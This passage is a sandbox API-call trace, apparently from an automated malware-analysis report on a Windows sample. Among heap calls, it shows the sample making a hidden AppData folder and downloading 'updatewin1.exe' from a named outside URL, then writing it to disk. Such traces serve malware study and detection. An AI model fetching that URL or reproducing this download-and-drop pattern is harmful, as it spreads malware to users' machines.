hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3868d18 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3838a98 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x383bdc8 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x383c650 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x383b540 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x386a698 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x386af20 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x387b728 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x387c3a8 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x386b7a8 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x386c030 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x386c8b8 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x387a680 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x386d140 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x386d9c8 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x386e250 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x383ced8 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x386f360 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3869da8 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f8138 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x377f4d0 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f9220 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f6dc0 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3820f50 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e5828 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d7b80 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x389b448 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x389bcd0 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x389c558 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x389cde0 | out: hHeap=0xd50000) returned 1 [0063.725] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x377f608 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3898118 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38a3c80 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38a4498 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38989a0 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3899228 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3899ab0 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x389a338 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x389abc0 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3805890 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3872690 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3872f18 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38737a0 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3874028 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38748b0 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x384c830 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3875138 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38759c0 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x384d078 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x384d8c0 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x387d840 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3876248 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3876ad0 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x387e0a8 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x387e8f0 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3877358 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3877be0 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3878468 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3878cf0 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3879578 | out: hHeap=0xd50000) returned 1 [0063.726] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x387f150 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x387f9d8 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3880260 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3880ae8 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3881370 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x388f138 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x388f9a0 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3881bf8 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3882480 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3882d08 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3890208 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3890a50 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3883590 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38846a0 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3884f28 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38857b0 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3886038 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38868c0 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3887148 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38879d0 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3891298 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3891b00 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3888258 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3888ae0 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3889368 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3892368 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3889bf0 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x388a478 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x388ad00 | out: hHeap=0xd50000) returned 1 [0063.727] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x388b588 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x388be10 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x388c698 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x388cf20 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x388d7a8 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x388e030 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3892bc8 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38a2bb0 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38a3418 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3893450 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3893cd8 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3894560 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3894de8 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3895670 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3895ef8 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3896780 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3897008 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3897890 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f75e8 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x384c018 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x377f538 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3850930 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3871e08 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3850118 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fabe0 | out: hHeap=0xd50000) returned 1 [0063.728] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xe00158 | out: hHeap=0xd50000) returned 1 [0063.729] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xdff950 | out: hHeap=0xd50000) returned 1 [0063.730] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fdac | out: phModule=0x18fdac) returned 0 [0063.730] ExitProcess (uExitCode=0x0) [0063.730] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3833890 | out: hHeap=0xd50000) returned 1 [0063.730] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xdfe580 | out: hHeap=0xd50000) returned 1 [0063.735] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 37 os_tid = 0x9b0 Thread: id = 38 os_tid = 0x9b4 Thread: id = 39 os_tid = 0x9b8 Thread: id = 40 os_tid = 0x9bc Thread: id = 41 os_tid = 0x9c0 Thread: id = 42 os_tid = 0x9c4 Thread: id = 43 os_tid = 0x9c8 Thread: id = 44 os_tid = 0x9cc Thread: id = 45 os_tid = 0x9d0 [0048.801] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x110) returned 0x37d8a70 [0048.802] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x110) returned 0x37d7b80 [0048.802] GetLastError () returned 0x54f [0048.802] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3bc) returned 0x3812338 [0048.802] GetCurrentThreadId () returned 0x9d0 [0048.802] SetLastError (dwErrCode=0x54f) [0048.802] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fe800 [0048.802] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x18) returned 0x37e2030 [0048.802] GetLastError () returned 0x54f [0048.802] SetLastError (dwErrCode=0x54f) [0048.802] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fe848 [0048.802] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x30) returned 0x37e66d0 [0048.802] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e2030 | out: hHeap=0xd50000) returned 1 [0048.802] GetLastError () returned 0x54f [0048.802] SetLastError (dwErrCode=0x54f) [0048.802] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fe890 [0048.802] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x48) returned 0x3826da0 [0048.802] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e66d0 | out: hHeap=0xd50000) returned 1 [0048.802] GetLastError () returned 0x54f [0048.802] SetLastError (dwErrCode=0x54f) [0048.802] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x30) returned 0x37e66d0 [0048.802] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x60) returned 0x377f400 [0048.802] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3826da0 | out: hHeap=0xd50000) returned 1 [0048.802] GetLastError () returned 0x54f [0048.802] SetLastError (dwErrCode=0x54f) [0048.802] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x30) returned 0x37e6890 [0048.802] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x90) returned 0x37bcbd0 [0048.802] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x377f400 | out: hHeap=0xd50000) returned 1 [0048.802] GetLastError () returned 0x54f [0048.803] SetLastError (dwErrCode=0x54f) [0048.803] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x30) returned 0x37e6820 [0048.803] GetLastError () returned 0x54f [0048.803] SetLastError (dwErrCode=0x54f) [0048.803] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d7b80 | out: hHeap=0xd50000) returned 1 [0048.803] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0048.803] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathA") returned 0x760e7804 [0048.803] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x400) returned 0x3812700 [0048.803] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x3812700 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0048.803] UuidCreate (in: Uuid=0xa17d768 | out: Uuid=0xa17d768) returned 0x0 [0048.804] UuidToStringA (in: Uuid=0xa17d768, StringUuid=0xa17d6c0 | out: StringUuid=0xa17d6c0) returned 0x0 [0048.804] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x30) returned 0x37e6b30 [0048.804] RpcStringFreeA (in: String=0xa17d6c0 | out: String=0xa17d6c0) returned 0x0 [0048.804] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="5f157674-79c2-4ded-9dab-75219d8fb8ff" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff") returned 1 [0048.805] CreateDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff"), lpSecurityAttributes=0x0) returned 1 [0048.805] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x410) returned 0x3812b08 [0048.805] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x410) returned 0x3812f20 [0048.805] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x1000) returned 0x37fad28 [0048.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3812f20, cbMultiByte=-1, lpWideCharStr=0x37fad28, cchWideChar=2048 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff") returned 81 [0048.805] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x1010) returned 0x37fbd30 [0048.806] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fad28 | out: hHeap=0xd50000) returned 1 [0048.806] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3812f20 | out: hHeap=0xd50000) returned 1 [0048.806] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x18) returned 0x37e2030 [0048.806] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0048.806] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fe8d8 [0048.806] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x862) returned 0x37fad28 [0048.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x37fe8d8, cbMultiByte=-1, lpWideCharStr=0x37fad28, cchWideChar=1073 | out: lpWideCharStr="http://bruze2.ug/files/penelop/updatewin1.exe") returned 46 [0048.806] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x870) returned 0x37fcd48 [0048.806] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fad28 | out: hHeap=0xd50000) returned 1 [0048.806] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fe8d8 | out: hHeap=0xd50000) returned 1 [0048.806] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x870) returned 0x37fad28 [0048.806] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x831) returned 0x37fd5c0 [0048.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://bruze2.ug/files/penelop/updatewin1.exe", cchWideChar=-1, lpMultiByteStr=0x37fd5c0, cbMultiByte=2097, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://bruze2.ug/files/penelop/updatewin1.exe", lpUsedDefaultChar=0x0) returned 46 [0048.806] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x3812f20 [0048.806] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fd5c0 | out: hHeap=0xd50000) returned 1 [0048.806] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fad28 | out: hHeap=0xd50000) returned 1 [0048.806] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://bruze2.ug/files/penelop/updatewin1.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0050.041] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3812f20 | out: hHeap=0xd50000) returned 1 [0050.042] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xa17d6d0, lpdwBufferLength=0xa17d710, lpdwIndex=0x0 | out: lpBuffer=0xa17d6d0*, lpdwBufferLength=0xa17d710*=0x4, lpdwIndex=0x0) returned 1 [0050.042] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fea40 [0050.042] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x20) returned 0x3834798 [0050.042] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fea40 | out: hHeap=0xd50000) returned 1 [0050.042] lstrcpyA (in: lpString1=0x3812700, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff" [0050.042] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff", pMore="updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe") returned 1 [0050.042] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x60) returned 0x377f398 [0050.042] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0050.043] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.043] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.163] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.164] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.293] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.294] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.294] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.294] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.463] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.463] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.464] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.464] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.464] WriteFile (in: 